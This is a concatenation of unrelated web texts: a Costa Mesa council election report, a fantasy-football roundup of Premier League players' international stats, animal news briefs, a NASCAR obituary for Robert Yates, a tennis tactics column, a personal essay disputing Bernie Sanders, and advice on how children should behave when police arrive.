Maybe the Lions are still bothered by their playoff loss to the Cowboys in the 2014 wild-card round. Maybe they still want a flag thrown on Anthony Hitchens. Maybe they should have covered Jason Witten on a key fourth-down play. Record: 10-5.
Week 17: Sunday, Jan. 1, at Philadelphia Eagles, 1 p.m. ET
The reelection of Councilwoman Sandra Genis and the addition of John Stephens – both aligned with Councilwoman Katrina Foley – will end the voting majority held by council members Jim Righeimer and outgoing members Steve Mensinger and Gary Monahan.
The third seat will be filled by former state Assemblyman Allan Mansoor, who served on the Costa Mesa council from 2002-10.
Mensinger, who was chosen as mayor last year, was denied a second four-year term after being appointed to the council in 2011. Monahan was termed out from running for reelection.
For more than five years, the three-man voting block dominated the council, focusing on outsourcing city services and leaving full-time positions vacant to cut costs, and reviewing large-scale developments, sometimes catching the ire of opponents in the process.
Mansoor, a Mensinger political ally, said that despite the new majority, he “plans to focus on things that can be done, but if I think an issue has merit I will bring it forward regardless of the outcome.”
Stephens said one of his priorities is rebuilding the city’s short-staffed police force and applying greater scrutiny to large residential projects.
“We’re going to be dealing with high-density development in a different way than the prior council,” he said.
Stephens, along with Genis and Foley, supported the voter-approved Measure Y, which requires public voter approval for developments that would that require General Plan amendments or zoning changes, among other criteria. Mensinger, Righeimer and Monahan backed a failed competing measure.
One of the biggest criticisms of the council was the perceived deterioration of civil discourse between the members themselves and the public.
“There have been a lot of personal attacks and name calling from members of the public,” Mansoor said. “They may have a right to say whatever they want but it is very disrespectful and makes a mockery of our city process when adults resort to name calling.”
Aside from being on opposite ends of several issues with Genis and Foley, Mensinger and Righeimer most notably clashed with the city’s police and fire unions during tense labor negotiations.
Both men were outspoken critics of public unions and the influence they wield with government agencies.
Incidents related to talks with the Costa Mesa Police Association resulted in a private detective hired by a now-defunt union law firm pleading guilty in September to attempting to set Righeimer up for a DUI and using GPS device to tail Mensinger.
The union has denied knowing about the illegal actions.
Righeimer said the issue was always about money and not civility, citing the backing of Genis and Stephens by the Costa Mesa Firefighter Association.
“They got the city council they want and it will be very civil going forward,” Righeimer said. “This is how this works and it will switch the other way again.”
Genis said part of why some residents feel displeasure with the current council stems from feeling chastised and not being heard.
“Even before I was elected, watching from the audience, some of the council members seemed to treat others who were in the minority very rudely,” Genis said. “However, I have no desire to retaliate, now that the majority has shifted. I do hope everyone will behave with proper decorum.”
Stephens echoed her thoughts, saying he anticipates greater collaboration between council members regardless of where they stand on the issues.
“I think you’re going to see a lot less 3-2 votes,” he said.
The first international break has come to a close but what affect will flying off across the globe and playing two games of football have on the players in our fantasy football teams? There are no major injuries to report so the biggest news is that Harry Kane Kane broke his dry spell, scoring his first and second goal of the season against minnows Malta.
Rotation for our fantasy teams is always a worry coming out of an international break, especially for the South American and Asian players who have to contend with jet lag and fatigue even if they just travelled with their squad. Sergio Aguero didn’t play a minute for Argentina but he was still sitting on a bench in South America on Wednesday morning at 06:30 (BST), just 78 hours before Manchester City play Liverpool at 12:30 on Saturday. His flight from Buenos Aires is 15 hours and 40 minutes (according to google maps which doesn’t take into account private jets!), which leaves just 56 hours and 20 minutes to recover.
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Below is a statistical round-up of all the international football minutes, goals and shots that fantasy football players managed this week.
Format
Country score-score (Date and time of game); Country score-score (Date and time of game)
Player: mins played (90′), rating (7.1), goals, assists, shots on target (SoT); mins played, rating etc
NOTE: a semi-colon (;) denotes a change of fixture.
International minutes, goals and info
France: FRA 4-0 NET (Aug 31 1945); FRA 0-0 LCH (Sep 03 1945)
Lloris: 90′, 7.1; 90′ 7.1
Koscielny: 90′, 7.6; 90′ 7.2
Kante: 90′, 7.8; 90′, 7.7
Pogba: 90′, 8.1, 3 SoT, 1 key passes; 90′, 7.6, 1 hit woodwork, 2 key passes, 6 shots, 2 SoT
Giroud: 76′, 7.4, 0 shots, 1 assist, 3 key passes; 60′, 6.8, 3 key passes
Lacazette: 10′, 6.6; 30′, 6.7, 1 shot
Paul Pogba fired off five shots on target this international break but couldn’t find the back of the net.
Story continues
Netherlands: FRA 4-0 NET (Aug 31 1945); NET 3-1 BLG (Sep 03 1700)
Wijnaldum: 90′ 6.2; 90′, 6.9, 2 shots, 1 key pass
Fosu-Mensah: 90′, 7.1; 0′
Hoedt: 90′, 6.4; 90′, 7.0
Blind: 90′ 6.6; 90′, 8.8, 2 assists, 4 key passes
Portugal: POR 5-1 FAR (Aug 31 1945); HUN 0-1 POR (Sep 03 1945)
Fonte: 90′, 6.8; 0′
Soares: 90′, 7.4, 3 key passes; 90′, 7.2
B.Silva: 90′ 8.2, 1 assist, 1 SoT, 6 key passes; 27′, 7.2
Switzerland: SUI 3-0 AND (Aug 31 1945); LAT 0-3 SUI (Sep 03 1945)
Xhaka: 66′, 7.0 1 key pass; 77′, 7.2
Shaqiri: 90′, 8.2, 6 shots, 1 SoT, 5 key passes; 90′, 7.8, 3 shots, 5 key passes
Belgium: BEL 9-0 GIB (Aug 31 1945); GRE 1-2 BEL (Sep 03 1945)
Vertonghen: 90′, 7.3; 90′, 7.9
Kompany: 90′, 7.3; 0′
Alderweireld: 90′, 7.4; 90′, 6.9
De Bruyne: 84′, 9.8, 1 assist, 4 shots, 3 SoT, 3 key passes; 90′, 7.0, 1 shot, 1 key pass
Hazard: 77′, 9.9, 1 goal, 1 assist, 2 shots, 2 SoT, 5 key passes; 16′, 7.1, 1 key pass
Lukaku: 90′, 3 goals, 11 shots, 7 SoT, 4 key passes; 90′, 7.1, 1 goal, 2 shots, 2 SoT
Eden Hazard featured for Belgium before Chelsea this year and bagged a goal and assist during Belgium’s 9-0 thrashing of Gibraltar. REUTERS/Francois Lenoir
Bosnia & Herzegovina: CYP 3-2 BSN (Aug 31 1945); GIB 0-4 BSN (Sep 03 1945)
Begovic: 90′, 6.0; 90′, 6.9
Kolasinac: 90′, 7.4 , 1 assist, 2 key passes, 4 crosses; 90′, 7.0, 2 key passes, 3 crosses
Germany: CZE 1-2 GER (Sep 01 1945); GER 6-0 NOR (Sep 04 1945)
Ozil: 90′, 7.5, 1 assist, 3 key passes; 90′, 8.9, 1 goal, 1 assist, 3 shots, 3 SoT, 3 key passes
Rudiger: 29′, 6.6; 90′, 7.0, 84 passes
Can: 11′, 0′
Norway: NOR 2-0 AZB (Sep 01 1945); GER 6-0 NOR (Sep 04 1945)
King: 90′, 8.2, 1 goal, 2 shots; 90′, 6.6, 1 shot (SoT)
Sweden: BUL 3-2 SWE (Aug 31 1945); BLR 0-4 SWE (Sep 03 1700)
Lindelof: 90′, 90′
Northern Ireland: SAN 0-3 NIR (Sep 01 1945); NIR 2-0 CZE (Sep 04 1945)
Evans: 90′, 7.2, 1 key pass; 90′, 7.7, 1 goal
Brunt: 90′, 9.3, 3 shots, 1 SoT, 9 key passes; 90′, 8.2, 1 goal
Davis: 90′ 8.7, 5 shots, 2 SoT, 4 key passes; 90′, 6.5
England: MAL 0-4 ENG (Sep 01 1945); ENG 2-1 SLV (Sep 04 1945)
Hart: 90′ 7.0; 90′, 6.5
Walker: 90′, 7.5, 1 key pass; 90′, 7.4, 3 key passes
Cahill: 90′, 7.4; 90′, 6.8
Jones: 90′, 7.2; 90′, 6.8
Bertrand, 90′, 7.9, 1 goal, 1 shot, 3 key passes; 90′, 6.7, 1 key pass
Henderson: 90′, 7.6, 3 key passes; 90, 6.8, 1 key pass
Rashford: 45′, 8.3, 1 assist, 1 shot, 3 key passes; 84′, 8.5, 1 goal, 1 assist, 5 shots, 3SoT, 6 key passes
Alli: 70′, 6.4, 1 assist, 1 shot, 1 key pass; 89′, 6.9, 3 shots, 2 SoT, 2 key passes
Oxlade-Chamberlain: 76′, 6.4, 2 shots; 83′, 7.3, 2 shots, 1 SoT, 1 key pass, 7 take-ons
Kane: 90′, 10.0, 2 goals, 1 assist, 4 shots, 4 key passes; 90′, 7.2, 2 shots, 1 SoT, 1 key pass
Sterling: 45′, 6.1; 7′, 7.0, 1 SoT
Welbeck: 23′, 6.9, 1 goal; 6′, 6.5, 1 pass
Harry Kane failed to score against Martin Skrtel (right) but bagged a brace against Malta. Action Images via Reuters/John Sibley
Scotland: LIT 0-3 SCO (Sep 01 1945); SCO 2-0 MAL (Sep 04 1945)
Robertson: 90′, 8.2, 1 goal, 5 key passes; 90′, 7.5, 1 shot, 4 key passes
Phillips: 90′, 7.0, 2 shots, 3 key passes; 90′, 6.8, 2 shots, 1 SoT, 2 key passes
Ritchie: 24′, 6.5; 0′
Armenia: ROM 1-0 ARM (Sep 01 1945); ARM 1-4 DEN (Sep 04 1945)
Mkhitaryan: 90′, 7.8, 1 shot, 3 key passes; 90′. 6.4, 2 key passes
Denmark: DEN 4-0 POL (Sep 1 1945); ARM 1-4 DEN (Sep 04 1945)
Eriksen: 90′, 9.6, 1 goal, 2 assists, 4 shots, 1 SoT, 5 key passes; 90′ 8.5, 1 goal, 1 assist, 2 shots, 2 key passes
Denmark’s Christian Eriksen celebrates scoring their second goal. REUTERS/David Mdzinarishvili TPX IMAGES OF THE DAY
Spain: ESP 3-0 ITA (Sep 2 1945); LCH 0-8 ESP (Sep 05 1945)
Morata: 18′, 7.4, 1 goal, 2 shots; 90′, 9.4, 2 goals, 1 assist, 1 hit woodwork, 7 shots, 5 SoT, 3 key passes
Silva: 90′, 6.9, 1 key pass; 45′, 8.5, 1 goal, 1 assist, 1 SoT, 3 key passes
De Gea: 90′ 7.4; 90′, 7.0
Monreal: 0′; 90′, 7.2
Pedro: 0′; 90′, 7.3, 2 shots, 1 SoT, 1 key pass
Wales: WAL 1-0 AUT (Sep 02 1945); MOL 0-2 WAL (Sep 05 1945)
Ramsey: 90′, 7.0, 4 shots, 1 key pass, 7 crosses; 90′, 8.9, 1 goal, 6 shots, 2 SoT, 5 key passes, 7 crosses, 8/10 duels won
Davies: 90′, 7.5; 90′, 7.6, 6 key passes
Williams: 90′, 7.2; 90′, 7.4
Hennessey: 90′ 7.2; 90′, 7.2
Vokes: 69′, 7.2, 1 shot, 3 key passes; 23′, 7.0, 1 shot, 3 key passes
Aaron Ramsey celebrates scoring Wales’ second goal. Action Images via Reuters/Jason Cairnduff TPX IMAGES OF THE DAY
Ireland: GEO 1-1 IRL (Sep 2 1700); IRL 0-1 SRB (Sep 05 1945)
Brady: 90′, 6.9, 1 shot, 1 key pass, 7 crosses; 90′, 8.1, 2 key passes, 9 crosses
Serbia: SRB 3-0 MOL (Sep 2 1700); IRL 0-1 SRB (Sep 05 1945)
Mitrovic: 82′ 7.6, 1 goal, 1 hit woodwork, 5 shots, 2 key passes; 80′, 6.6, 1 SoT, 2 key passes
Matic: 77′, 7.1, 1 key pass; 90′, 7.1
Tadic: 66′, 7.2, 3 key passes, 4 crosses; 82′, 6.9, 1 SoT
Italy: ESP 3-0 ITA (Sep 2 1945); ITA 1-0 ISR (Sep 05 1945)
Darmian: 68′, 6.8, 1 key pass; 90, 7.8, 3 key passes
Zappacosta: 41, 7.0, 4/5 duels won, 1 shot
Iceland: FIN 1-0 ICL (Sep 2 1700); ICL 2-0 UKR (Sep 05 1945)
Sigurdsson: 90′, 6.2, 2 shots, 1 SoT; 89′, 9.0, 2 goals, 2 shots, 3 key passes
Gylfi Sigurdsson bagged a brace to keep Iceland’s hopes of a first ever World Cup appearance a reality.
Austria: WAL 1-0 AUT (Sep 02 1945); AUT 1-1 GEO (Sep 04 1945)
Arnautovic: 90′, 7.2, 1 shot, 2 key passes; 90′, 5.9, 2 shots, 1 key pass
Congo: TUN 2-1 CNG (Sep 1 2100); CNG 2-2 TUN (Sep 05 1830)
Mbemba: 90′, 6.7, 2 shots; 59′, 7.7, 1 SoT,
Egypt: UGA 1-0 EGY (Aug 31 1400); EGY 1-0 UGA (Sep 05 1900)
Salah: 90′, 6.2, 1 shot, 1 key pass; 90′, 7.4, 1 goal, 4 shots, 3 SoT
Hegazy: 90′, 7.2; 90′, 7.3
Mohamed Salah scored again to continue his brilliant start to the 2017/18 season.
Nigeria: NGR 4-0 CMR (Sep 01 1700); CAM 1-1 NGR (Sep 04 1800)
Moses: 83′, 8.5, 1 goal, 1 assist, 4 shots, 3 key passes; 90′, 8.3, 1 hit woodwork, 3 shots, 4 key passes
Ghana: GHN 1-1 CNG (Sep 01 1630); CNG 1-5 GHN (Sep 05 1530)
J.Ayew: 90′. 7.0, 1 shot, 3 key passes; 0′
A.Ayew: 68′, 6.4; 0′
Atsu: 0′; 90′, 6.5, 1 assist, 1 shot, 2 key passes
Senegal: SEN 0-0 BKF (Sep 02 2100); BKF 2-2 SEN (Sep 05 1900)
Mane: 90′, 7.3, 1 shot, 2 key passes; 90′, 8.4, 1 goal, 1 assist, 2 shots, 1 key pass
Sadio Mane managed a goal and an assist as Senegal grabbed a point away in Burkino Faso.
Ivory Coast: GBN 0-3 CIT (Sep 02 1700); CIV 1-2 GBN (Sep 05 1830)
Bailey: 90′, 7.2; 90′, 6.9
Aurier: 90′ 6.6, 1 shot, 1 key pass, 3 crosses; 90′, 7.1, 2 shots, 3 key passes, 11 crosses
Algeria: ALG 0-1 ZAM (Sep 05 2030)
Mahrez: Didn’t play first game; 90′, 6.2, 2 shots, 1 penalty miss
Argentina: URG 0-0 ARG (Sep 1 00:00); ARG 1-1 VEN (Sep 05 0030)
Aguero: 0′; 0′
Otamendi: 90′, 7.5, 93 passes, 4 duels won; 90′, 7.6
Brazil: BRA 2-0 ECU (Sep 01 0145); COL 1-1 BRA (Sep 05 2130)
Firmino: 0′; 63′, 6.7, 3 shots, 2 SoT
Willian: 84′, 8.1, 1 assist, 2 shots, 2 key passes; 90′, 7.4, 1 goal, 1 shot, 2 key passes
Jesus: 90′, 7.6, 1 assist, 3 shots, 2 key passes; 27′, 6.5,
Coutinho: 31′, 7.4, 1 goal, 1 shot, 1 key pass; 15, 6.5
Willian and Phillip Coutinho both scored for their country but will they start for their clubs this weekend?
Colombia: VEN 0-0 COL (Aug 31 2200); COL 1-1 BRA (Sep 05 2130)
D.Sanchez: 0′; 90′, 6.4
Chile: CHL 0-3 PAR (Aug 31 2330); BOL 1-0 CHL (Sep 05 2100)
Sanchez: 90′, 7.4, 1 shot, 2 key passes; 90′, 3 shots
Bravo: 90′, 6.3, 90′, 6.9
Ecuador: BRA 2-0 ECU (Sep 01 0145); ECU 1-2 PER (Sep 05 2200)
Valencia: 90′, 7.1, 2 key passes; 90′, 6.7, 1 shot, 12 crosses
Mexico: MEX 1-0 PNM (Sep 02 0230); CST 1-1 MEX (Sep 05 0305)
Chicarito: 90′, 7.1, 2 shots, 1 key pass; 0′
Japan: JPN 2-0 AUS (Aug 31 1135); KSA 1-0 JPN (Sep 05 1830)
Yoshida: 90′, 7.3; 90′, 7.1
Okazaki: 3′; 68′, 6.8
South Korea: KOR 0-0 IRA (Aug 31 1300); UZB 0-0 KOR (Sep 05 1600)
Son: 90′, 6.6; 90′, 6.3, 3 shots, 1 key pass
Australia: JPN 2-0 AUS (Aug 31 1135); AUS 2-1 THL (Sep 05 1100)
Mooy: 0′; 90, 9.1, 1 assist, 1 hit woodwork, 4 shots, 1 SoT, 7 key passes
White House / YouTube Bo Obama climbs into his mom's lap for story time.
Bo the Lap Dog?
During a traditional visit to the Children’s National Medical Center in Washington D.C., first lady Michelle Obama read ‘Twas the Night Before Christmas. As she started the story, someone jumped up in her lap. No, it wasn’t one of the children. But it was a 4-year-old — her Portuguese Water Dog, Bo. “This is exactly what he does at home — he tries to beat Malia and Sasha to my lap,” the First Lady said, as the audience laughed. “You see, Bo?” she asked at one point in the story, as the little girl beside her was concerned that the pup couldn’t see the pictures. “He knows the end of this story,” the first lady reassured the kids. The pair made the visit on Dec. 14, but the White House posted the merry video on Christmas Eve. — Watch it on YouTube and see how Bo inspired the White House Christmas decorations
Genome Test Reveals Feline Ancestry
If you’ve always wondered about your cat’s genetic makeup, a new test might be able to help you find the answers. At the University of California’s Feline Genetics Laboratory, the Cat Ancestry test can determine whether your kitty is one of 29 major breeds. Using a cotton swab to collect DNA, the test traces the cat’s lineage and provides results for common physical traits, including coat color and fur length, and could help owners be aware of what diseases their pet might be at risk for. The test costs $120 and can be ordered online. — Read it at the Huffington Post
Minnesota Tries to Bring Back Moose
The iconic moose of Minnesota have been disappearing. Some people blame it on climate change, parasites and predators, but the cause remains mysterious. The animals have largely disappeared from the northwestern part of the state, where they were once abundant. Now, Minnesota has labeled the moose a species of “special concern.” In January, a private company hired by the state will fit 100 moose with GPS tracking collars to learn more about the reasons for their decline. — Read it at the LA Times
AZ Family After seven years, Sophia will be reunited with her owner on Wednesday.
Missing Cat to Be Reunited With Owner for Holidays
Phoenix resident Tricia Osterman got the best — and most unexpected — Christmas present she could have hoped for. Her cat, Sophia, who’d been missing for seven years, was found in San Diego, 350 miles from home. Osterman was shocked to get a call from the San Diego Humane Society saying that they’d found Sophia, and located her owner using a microchip. But Osterman couldn’t afford to get her cat back home. “I was in tears when they called me on the phone,” Osterman said. The group wanted the cat to be home for the holidays, and booked a flight for her to be reunited with Osterman on Wednesday. — Read it at AZ Family
Sloth Bear Cub Born at National Zoo
It’s a bear baby boom at the D.C. zoo! Just days after its Andean bear gave birth to twins, its 18-year-old sloth bear, Hana, had a baby of her own. Hana had the baby on Dec. 19 — which happens to be her own birthday. The zoo says mom has been “very attentive,and the cub has successfully nursed.” Keepers are monitoring the two via closed circuit TV camera. — See photo on Facebook and watch video on Flickr
Robert Yates, a master engine builder and longtime NASCAR team owner, died Monday. He was 74.
In May, Yates was selected for induction into the NASCAR Hall of Fame’s Class of 2018. He had been battling liver cancer, requiring multiple rounds of immunotherapy treatment. His son, Doug Yates, announced his father’s passing on social media Monday night.
“Hero — my dad’s my hero,” his son, Doug Yates, said in a post from his Twitter account Monday night. “My dad’s the toughest guy you’ve ever met. Never give up, always looking for the positive and looking for a competitive advantage, and that’s the way he raised myself and our family and everybody at Roush Yates.”
My Dad and Hero, Robert Yates, has passed and is with the Lord. Thanks for all the prayers and support. pic.twitter.com/hxa0wfdZkE — Doug Yates (@Yates_Doug) October 3, 2017
Yates’ expansive know-how as a mechanic led his cars to 77 wins in NASCAR’s premier series as an engine builder. After creating Robert Yates Racing in 1989 after his purchase of the Ranier-Lundy operation, Yates went on to collect 57 more victories and 48 pole positions as a team owner, adding a series championship for fellow Hall inductee Dale Jarrett in 1999.
RELATED: Drivers offer condolences, memories
Equipped with a degree in mechanical engineering from Wilson Technical College, Yates broke into the sport with the elite Holman-Moody organization, the Ford factory powerhouse, in 1967.
Yates later worked alongside Junior Johnson, forming a partnership that resulted in 30 wins from 1969-75. That tenure included LeeRoy Yarbrough’s only Daytona 500 victory, the first of five triumphs for Yates as an engine builder and team owner in The Great American Race. Yates then transitioned to DiGard Racing for a 10-year association that produced Bobby Allison’s lone major-league championship.
PHOTOS: Robert Yates’ life of racing
After two years with Ranier-Lundy, Yates dove into the world of team ownership. Driver Davey Allison made the jump with him, continuing their relationship as Robert Yates Racing was formed. Allison scored 15 of his 19 premier-series victories from that point forward, including a triumph in the 1992 Daytona 500.
In addition to Allison and Jarrett, Yates fielded cars for Ernie Irvan, Ricky Rudd, Elliott Sadler, David Gilliland and others. He retired from team ownership after the 2007 season, turning his attention to the engine-building company founded by his son, Doug. Now named Roush Yates Engines, that organization continues to power all Ford-backed entries in NASCAR’s top division.
Yates’ selection to the NASCAR Hall is the most recent recognition of his achievements in motorsports. Yates was given the Bill France Award of Excellence in 2000, and in 2007 received the Buddy Shuman Award for Lifetime Achievement in NASCAR.
Yates was the top vote-getter on NASCAR Hall of Fame Voting Day, named on 94 percent of the ballots. “I don’t even know if I’ll sleep tonight,” Yates said May 24th. “I’m so honored and I love this sport, and I want this sport to do the same thing it did for me, again and again and again.”
MORE: Yates overcome with emotion at Hall of Fame election
An outpouring of sympathy for Yates streamed in throughout the NASCAR industry.
NASCAR Chairman and CEO Brian France said: “Robert Yates excelled in multiple NASCAR disciplines, earning the respect of an entire industry and an everlasting place in the hearts and minds of the NASCAR fanbase. His excellence spanned decades, from the 1983 championship powered by his engines and the 1999 title captured by the cars he owned, both of which helped earn him a deserved spot in the NASCAR Hall of Fame Class of 2018.
“And though he was a master at his craft, it was Robert’s passion and character that endeared him to every single person he encountered and will ensure that his memory will live on for generations. On behalf of my family and all of NASCAR, I extend heartfelt condolences to the family and friends of a NASCAR giant, whose legacy will impact an entire industry forever.” …
Said Edsel B. Ford II, member of the board of directors, Ford Motor Company: “We at Ford are collectively saddened to have learned the news of the passing of Robert Yates. Robert, by any measure, was a valued and respected member of our family.
“His many accomplishments included winning the NASCAR championship in 1999 and being selected for the class of 2018 NASCAR Hall of Fame. I am proud to have been a part of both of those events but most meaningful to me was our friendship which spanned over 20 years.
“First and foremost an engine guy, Robert will be remembered as a person who helped build the sport with dedication and hard work. His legacy at NASCAR will be defined by his roles as an engine builder, championship team owner, co-founder of Roush Yates Engines and ultimately by the innovation that he brought to all of these endeavors and more.
“Much like my great grandfather, Henry Ford, Robert was a tinkerer. They both leave behind a legion of admirers and friends who benefited from their mentorship and their passion.
“We at Ford offer our sincere condolences to Robert’s wife Carolyn, his son Doug, daughter Amy and his eight grandchildren.” …
“Robert Yates knew the value of hard work and earned everything he achieved in life,” said Dave Pericak, Global Director of Ford Performance. “Not only was Robert a legendary engine builder and championship car owner, but he was a husband, father, grandfather and loyal Ford man who left an unmeasurable impact on those who knew him.
“He was a respected and valued member of the Ford family and co-founder of Roush Yates Engines, and while we’ll miss the wisdom he possessed for working on engines and race cars, we will miss his caring demeanor and friendship even more. Our thoughts and prayers go out to Robert’s wife, Carolyn, his two children, Doug and Amy, and his eight grandchildren.” …
Primary Patterns (Lower risk/High reward) of play are your tried and true sequences that hurt your opponent the most. It could be a slice serve wide to the deuce court followed by a groundstroke to the open court, or an inside out forehand approach shot to your opponents backhand, or a body serve followed by attacking the backhand. These patterns of play are your go to when you need a point. The downside is that you can’t run these patterns all the time or your opponent will become wise and will begin predicting these attacks. So how do you keep your opponent off the scent without totally abandoning a pattern that is successful? You let the scoreboard dictate when you will use a primary or secondary pattern.
Secondary Patterns (High risk/High reward) of play are counter plays or sequences that are usually a little bit riskier but yield a high reward and get your opponent thinking about when you will use it again. Paul Annacone has referred to these strategies as investment strategies because using them even once can pay off big later in the match as your opponent will be thinking about when you will use them again, sometimes even if you are unsuccessful. Examples of a secondary pattern could be, kick serve and volley wide to the ad court and volley to the open court, or chip and charge to the backhand on a 2nd serve return, or running around a 2nd serve and attacking big with the forehand. Although these tactics are unlikely to win you the match if you use them as your primary patterns, mixing them in at the right time can win you the big points at the crucial moments of a match. So when is the right time to use a secondary or primary pattern? First, Lets take a look at all the possible scores within a game and what they mean in relation to influencing the outcome.
Base Points
0-0: Win the first point and you get the first opportunity at a set up point.
15-0: Win this point and you create a set up point.
15-15: Win this point and you create a set up point.
Set Up Points
30-0: Win this point and your opponent faces 3 game points.
30-15: Win this point and your opponent faces 2 game points.
30-30: Win this point and your opponent faces 1 game point.
Deuce: Win this point and your opponent faces 1 game point.
AD Points
40-30: Your opponent is facing 1 game point.
AD-In: Your opponent is facing 1 game point
40-15: Your opponent is facing 2 game points.
40-0: Your opponent is facing 3 game points.
I have grouped the game scores into 3 categories, base points, set up points and Ad points. Base points have the least significance to the outcome of the game and Ad points are obviously the most important but it is often the player who plays the Set up points the best that wins the match. Why so? Because winning the set up points puts your opponent at risk of losing the game and that makes them tight.
As Brad Gilbert writes in his must read book winning ugly “All players are tense when something is at risk. Pressure will be layered on your strokes and confidence, and to some degree pressure paralyzes most recreational players.”
When a set up point arises in a game, most of the time you are going to want to use your primary patterns of play to give yourself the best chance of winning the point. If you can do that and get to an Ad point you have the option of using a secondary pattern knowing that your opponent will be playing less freely and more timidly under the pressure that any miss will lose them the game. Certainly you must weigh your position in the the set score as to how much you need the game, but the more you are ahead in the set score the more secondary patterns of play you can use. This will keep your opponent off adjusting their gameplay to defend your primary patterns of play and keep you winning points with them when you need to.
Ad points create scoreboard pressure on your opponent and keeps it off you. This is the time to take advantage of your opponents position in the game knowing they will not be swinging freely. Especially with recreational players and inexperienced juniors, mixing up the play and using secondary patterns to shock your opponent often leads to free points and unforced errors.
Doubles Example. Recently, two of the ladies I coach in my Wednesday clinic (Vivian and Debbie) recently found themselves in a 3rd set tie break for their USTA doubles match serving on an AD point. Over the last year we have been working on using signals on serve (Poach/Fake) to get into their opponents heads a little bit and create some easy volleys or errors from the returner. Most players can be hesitant in using signals, especially under such high stakes as a 3rd set tie breaker but this is exactly where they can be most effective. At the business end of the tie breaker, and having not used a single signal leading up to this point the ladies used a fake sign on a big point and influenced the tight returner to go for low percentage line alley. Result, unforced error wide, Match over. Debbie and Vivian used scoreboard pressure to perfection and stole the match.
Developing winning primary patterns of play and practicing secondary ones are the beginning stages of becoming a smarter tennis player. Knowing the score and when to use them gives you the best chance to take advantage of your opponent when they are under scoreboard pressure.
Scoreboard pressure is real, and knowing how to use it to your advantage will win you big point in big matches.
Good luck and see you on the courts.
Joel Myers
USPTA Elite Professional
Tennis Director
Manchester Grand Hyatt San Diego
Sheraton Hotel & Marina San Diego
http://www.downtowntennis-sandiego.com
I agree with Bernie Sanders. The economy is rigged. In fact, it’s what my father, who is very conservative, taught me about life. Some find it surprising because the general position of liberals seems to be that conservatives don’t realize, or won’t acknowledge, this rigged economy. But my Dad’s advice to me time and time again was that the world was rigged and the only way I could make it was to work harder than the people who were in charge of the rigging.
A few years ago I was walking through Harvard Square when a woman holding flyers for Elizabeth Warren stepped in front of me. She asked me if I thought the government should pay off student’s debts. I don’t think the government should, but, then again I never had student loans. No, it wasn’t because I was from a wealthy family. I never had student loans because I worked every semester I was in college, and during some summers, I worked two jobs. I did this because I thought the world was rigged against me.
I missed out on a lot, because I worked so much. I didn’t have the life like many of the college students I’ve hired in the last few years. They study what they love?—?philosophy, political science, art, regardless of whether or not they have good job prospects. They travel. Mostly they seem to go to Vietnam and Cambodia. They eat out a lot more than I did at their age. They know all the trendy restaurants and hot bars.
When I got out of college, I lived well below my means, saving $25,000 so I could start my first business. That business failed miserably. I ended up losing over $50,000 total. It took three years to pay off the credit card debt I wracked up.
Over the next decade, I started 3 more businesses. Two of which failed. For one of them, a video yellow pages product I built with a friend in 2007, I used to take my vacation days from my “real” job and go door to door, selling video listings to small businesses. I lost a lot of my own money, as my disposable income never went to travel or luxury goods of any kind. It went to business ideas.
I kept at it because I believe, much like Bernie, that the world was rigged against me. I spent every evening after my day job working on side projects, learning new skills, reading. I didn’t own a tv for a long time and, even to this day, I’ve never seen any of the classic shows people like to discuss: The Sopranos, Breaking Bad, Mad Men, Game Of Thrones. I was working while they were on.
When I finally had a company that was successful, the experience of running it was more stressful than you could ever imagine. I had to deal with some really rough things. There was the time when, on the day we were supposed to close our Series C funding round, the lead investor called and said they weren’t going to wire the money. We had 6 weeks of cash left, and now I had to figure out what to do. There was the time when 2 of my executives quit within 10 days of each other, making my board and employees all wonder what was going on, and if there was something detrimental going on at the company that I wasn’t telling them.
There was a board meeting where, I took so many rapid fire shots from board members that one of my executives told me afterwards that he would never want to be a CEO and go through something like that. There were things that I can’t write about publicly, but that, if you have ever run a company, you know what I’m talking about. It really sucks to be in charge sometimes.
Despite the strain that entrepreneurship put on my finances, my health, and my personal relationships, I kept at it because I wanted to be successful. And eventually, yes, I became a millionaire. It only took 15 years.
Along the way, I learned a lot. I created over 100 jobs. And in the end I helped build something useful for thousands of companies around the world. But when I hear Bernie speak, I feel like I’m the problem with America. I’m one of those millionaires he mentions who should pay more taxes. I’m the bad guy. I’m the white male who is only successful because everything was handed to me. I don’t deserve the money I made. All the things I sacrificed don’t matter. The additional stress I was under doesn’t matter. The risks I took don’t matter.
According to Bernie, the world needs fewer people like me, and more people like the smart Yale student who majors in something useless, travels the world, and then graduates with $100,000 in debt that people like me should pay off via higher taxes.
I am not a lawyer or a police officer, but almost everyone in my family is in law enforcement - highway patrol, county sheriffs, lake patrol, city police, police detectives, police forensics...this is what they advise and told me and my children to do. The two most important things are: Say the two sentences and nothing else, and don't touch the police. Other things may vary from state to state, but the gist of the following can help keep your child safe. That "I want a lawyer" sentence will be the lifesaver for your child - the lawyer will call you and take care of the child. If you teach your child nothing else, teach them to say "I want a lawyer" as soon as the police arrive.
The older the child is, the more you can teach, but start with those 4 life-saving words. “I want a lawyer.” Even a three year old can learn to say that. You may need to teach your three year old to say that if day cares start emulating schools and calling the police on minor disciplinary issues. Play-act it with toy handcuffs, or even real ones. zip tie or metal – those are easy enough to find at flea markets. When the handcuffs come out, teach the child to say, “I want a lawyer.” Make it a game when they are young, and re-enforce it as they age.
Teach the child not to touch or gesture towards the police. Teach them to put their hands on their heads when they see a police officer. Again, make it a game. "What do we do when we see a nice policeman? We put our hands on our heads!"
As they get older, teach them the following things:
Don’t argue with the police. That’s what the lawyer is for.
Don’t run. Don't run from or to the police. Move slowly if you have to move at all.
Don’t touch the police officer – even to catch yourself if you’re falling. Take the fall.
Don't gesture towards the police, not even friendly gestures like waving or handshakes. Don't flip them off, wave a finger at them, spit anywhere near them, wave your arms around, speak in ASL or other finger languages, or make any move the police didn't specifically tell you to make - have the child put their hands on their head.
Don’t talk to the police. If your child is old enough to drive and they are driving a car when stopped, they must show driver’s license, registration, and insurance, but they don’t have to say anything.
If the child has been reasonably detained, police will ask for a name, and the child must give it unless they are afraid giving their name will make matters worse, in which case, they can plead the right to remain silent. The sentence then becomes "I want a lawyer and I plead the right to remain silent." The police will hate it, but it is the child's right.
Teach your child that anything they say – anything, no matter how innocent it may sound – can be twisted against your child so silence is the best action.
Keep your hands where the police can see them. If you think you need something in your pocket or backpack or purse, you usually don’t (unless it’s lifesaving medication, in which you explain calmly to the arresting officer you are ill and need the medication and let them get it for you.)
Don’t resist the arrest, innocent or not. The police are predisposed to believe everyone is guilty of something even if it’s not the crime for which they are currently arresting your child.
Don’t complain to the officer on the scene.
Don’t tell the police they are wrong.
